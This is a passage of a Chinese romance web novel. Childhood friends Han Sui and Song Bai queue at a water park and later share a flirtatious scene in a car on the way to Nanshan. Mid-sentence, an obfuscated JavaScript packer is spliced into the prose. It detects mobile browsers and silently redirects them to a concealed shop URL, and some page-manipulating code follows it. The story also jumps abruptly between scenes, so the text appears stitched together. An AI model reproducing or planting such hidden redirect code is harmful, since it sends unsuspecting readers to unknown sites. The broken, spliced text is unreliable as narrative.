水上乐园里大部分的项目都是限制人数的,他们有六个人,人数超标的情况下会分成两队,也有两人成队的情况,韩岁总是和宋柏搭在一起的。
大人之间的话题他们插入不进去,两人就落在队伍后头,大多数时候都是宋柏在找话题聊,她兴致缺缺。
吃了冰淇淋的好心情也仅仅存在进食期间。
一想到还要排那么多次队,心情跌落后就一直待在谷底。
“你怎么一直瘪着个嘴?”宋柏冒着热气的身躯蹭过来,撞了撞她肩膀。
韩岁依旧没心情跟他斗嘴:“好累啊……好热啊……”
蔫了的大白菜大抵就是她这样的,根本直不起腰来。
突然一阵凉风从前方送来。
宋柏握着不知从哪里买来的小风扇,两手交换着在她周身转动,确保身体的每一处都能感受到凉意。
“这样还热吗?”
韩岁仗着宠爱提要求:“站太久了……腿酸酸的……”
“那,我背着你?”
他神色认真不似玩笑。
韩岁看他许久先一步退缩:“不,不用了,就这样吧,你背着我两个人贴在一起也很热的。”
宋柏嗯哼一声:“那你累了想让我背了,小柏子随时奉陪。”
韩岁没忍住,捧腹大笑起来。
“也不知道小岁这么一个闷葫芦,是怎么让宋柏百依百顺的。”周莲心一直记得宋柏的好。
邻里间常调侃两人青梅竹马的关系,最适合再进一步发展了,却不知道为什么在高中毕业后两人失去了联系,直到现在才重新见面。
想再撮合时,已经错过了最佳时机。
韩岁已经有男朋友了。
“小岁哪里是个闷葫芦了。”李丁香从小就喜欢韩岁,自是说什么都往好了夸,“小岁乖巧得很呢,那个时候在大太阳底下跟着我们晒了那么久,一句苦也没说。”
宋柏保持原有动作没变过,手机开了静音,屏幕上不停有水果被消除。
两人聊天的话很难不传入他耳里,他摇了摇头。
哪里没说苦,只是这倾泻出来的苦水都让他接着了。
三小时车程很快,走的路多为乡镇间的小路,没有所谓的休息区,好在没有紧急情况发生,一路没有停歇畅通无阻抵达。
韩岁依旧没有要醒的迹象。
“小岁?”李丁香晃韩岁摊开的胳膊,“到地方了,一起先去吃个午饭。”
南山脚底下横亘着条蜿蜒的步行街,大同小异的商铺门面,贩卖着随处可见的吃食,行人来来往往,因已临近饭点,人算不上多。
他们来得晚,得加点速才能赶上落日。
韩岁眉眼隐隐松动,像是不愿意醒来,百般挣扎。
“丁香,让她再缓缓,我们先去那边点吃的,等会让宋柏带她过来就行。”周莲心目光已经锁定一家小餐馆,背起包往马路对面走去。
李丁香应了声,回头交代宋柏:“早点带她过来哦。”
车内很快趋于平静,宽敞的后座令韩岁蜷缩的身躯展开来,腿缓慢上移搭去座椅上,后脑勺顺着宋柏胸膛缓慢下移,最后干脆利索地枕在他大腿上。
嫌硬,硌人,翻来覆去地调整,一条胳膊弯折垫在侧脸下方,才终于找到最舒适的姿势,慵懒地松了口气,俨然一副又要进入梦乡的状态。
宋柏双手僵在半空中,目光晦涩,视线如有实质般一寸寸勾过她的侧脸轮廓,心跳加速,身体发烫,大脑宕机,唯独某处毫无尊严的起了反应。
他该庆幸,韩岁躺着的姿势触碰不到那处,否则这面子就掉进谷底了。
宋柏放缓呼吸,一轻一重,以这种方式排解烦闷。
时间飞速流逝,十五分钟过去,手机在裤兜里震动,是“妈”的来电,想必是在催促他们。
好在震动声通过介质传递,成功影响到韩岁,她终于揉开惺忪睡眼,在他腿上醒来。
车顶、男人流畅的脸部轮廓、上下滑动的喉结、横直排列的锁骨,以及极易占据人全部视线的、隆起的胸肌。
她脑海里突然浮现出猖狂的一行字:“好想在胸肌上埋一埋啊,也不知道是什么触感。”
……等等,刚刚那个声音是她自己的吧?!
她把这句话说出来了?
水灵灵地说出来了?
“你想试试?”男人平静无波的声音慢悠悠传来。
韩岁分明听出了他话里的笑意。
她捂着脸,逃避事实:“刚刚那句话不是我说的,你听错了……啊啊啊啊你能不能伪装失忆一下当作什么也没发生?”
“这么直接的话,我很难忘记啊。”宋柏低头,不动声色扫过她指缝间隐约露出的粉红色柔软,声音喑哑,“如果你很想尝试的话,也不是不可以委身于你。”
这话说的……
韩岁有种自己冒犯了黄花大闺女的荒谬感。
但她对宋柏提出的请求感到兴奋、跃跃欲试。
韩岁很快说服自己:只有亲身触碰过肌肉,明白肌肉是怎样的触感,绘画时才能更加沉浸式投入。
她将一切的一切都归于绘画助力,给了自己沉沦的借口。
“真的?”韩岁试探提出请求,“那,我能不能把手伸进你衣服里摸一下?”
宋柏:?
听到这句话的宋柏陷入震惊里迟迟没有缓过来,以至于韩岁以为他要反悔,从他腿上爬起来侧身贴着他而坐,上半身倾过来,将他禁锢在车辆座椅与车门的方寸之间。
他被水蜜桃甜腻的香味灌溉,心跳加快。
韩岁思索片刻,结合他所说的话,加重自己的诉求:“我很想很想尝试一下,这种程度你应该会同意的吧?”
瞳孔里水波涟漪,睫毛忽眨,小猫一样的双眸里倒映着他失去控制的面孔,大脑还没做出反应,就失去理智地点了头。
几乎在一瞬间,一股凉意从腰腹处往上蔓延,是韩岁撩开了他的衣摆,车内的冷空气钻了进来,贴着肌肤一寸寸攀爬。
微凉的柔软的触感紧跟其上,从腰腹处开始,若即若离地蹭,比小猫的毛发还要撩拨人心,所过之处心惊胆战。
“哇……”韩岁垂着脑袋,细致且认真地轻抚并观摩,时不时给予评价,“你腹肌练得好好啊……形状也很好看,是漫画里很常见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165902|196713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的八块腹肌,巧克力排布的那样……你怎么这么白呢……”
指甲不小心划过,在皮肤上留下浅淡的一道红痕,韩岁嘴里说着抱歉,指腹清晰地感受到皮肤底下有什么在跳动,与此同时,她也没错过划过那一下时,宋柏突然变得急促的呼吸。
太难受了。
宋柏咬牙切齿:“你什么时候结束。”
车内的氧气都被他吸取,他现在的呼吸很不正常。
韩岁不知怎地吞咽了下口水:“别急,毕竟机会难得,我得仔细观摩一下。”
手继续往上,来到她刚刚口出狂言的地带。
要埋脸什么的,还是算了吧,她做不到。
正当手覆盖住她觊觎的那处隆起时,宋柏突然挺身向前,一掌拢住她后颈朝自己的方向施力,滚烫的呼吸擦过她耳廓,肩膀一重。
宋柏将下巴搁在她肩膀上,唇落在她脉搏跳动的位置,呼吸湿热地传递过来,引起她心脏过度运载。
“别看着我。”宋柏近乎祈求。
韩岁手保持着原有的动作不敢再运行,恰巧在心脏的正上方,她手心按压,好像将他的生死都掌控在自己的一念之间,只要轻轻施压,就能让这颗极速跳动的心脏在一瞬间破裂。
只是为什么,自己的心跳好像要和他同频。
“我,我摸够了,你,你可以松了我吧……”话说出口,韩岁才惊觉自己浑身在发抖,处于一种十分陌生的感受。
宋柏的气声贴着她耳廓,给人一种耳朵被他含在嘴里的错觉,身体翻涌起奇怪的反应。
他说:“等等,让我再缓缓。就一分钟。”
缓什么?韩岁纳闷,但她潜意识里告诉她不要多问,所以她缄口不言,任由潮湿的气流在车厢内流淌,将两人的身体都烘得滚烫。
再次响起的手机铃声划破这份暧昧,两人慌张地拉开距离,好似拨打电话的人正扒在车窗外往里看一样,唯恐被人发现里面异常的氛围。
韩岁飞速爬至另一边车门,推开走出,重重吐了口气,仿佛这样心脏才重新跳动起来。
她刚刚到底在干什么?鬼迷心窍了吧!
密闭的车厢,赤/裸的身体,滚烫的呼吸和失控的心跳。
一切的都一切都在昭示着不正常!
等到心情平复,她才张望四周,确认所处环境。
哎?她只是睡了一会,怎么就来到这来了?
她回头,隔着车同宋柏对视:“这是哪?”
宋柏神色如常,仿佛什么也未发生:“南山。”
“啊……”韩岁表示惊讶,“南山?我记得要开三个多小时吧,我睡了这么久?而且我是从家里开始睡的,怎么一下就到这里来了……”
她眼中的震惊不似做假,看来不是为了缓解尴尬刻意而为。
宋柏绕至后备箱背上自己的包,检索周围找到餐馆所在,抬步走在前方:“你睡那么死,中间搬了你几次也没见醒,但凡我是个人贩子,你身体应该就东南西北了。”
脑袋还安安全全待着的韩岁:“……”
呵呵,您可真幽默。
韩岁空着手,亦步亦趋地跟上去。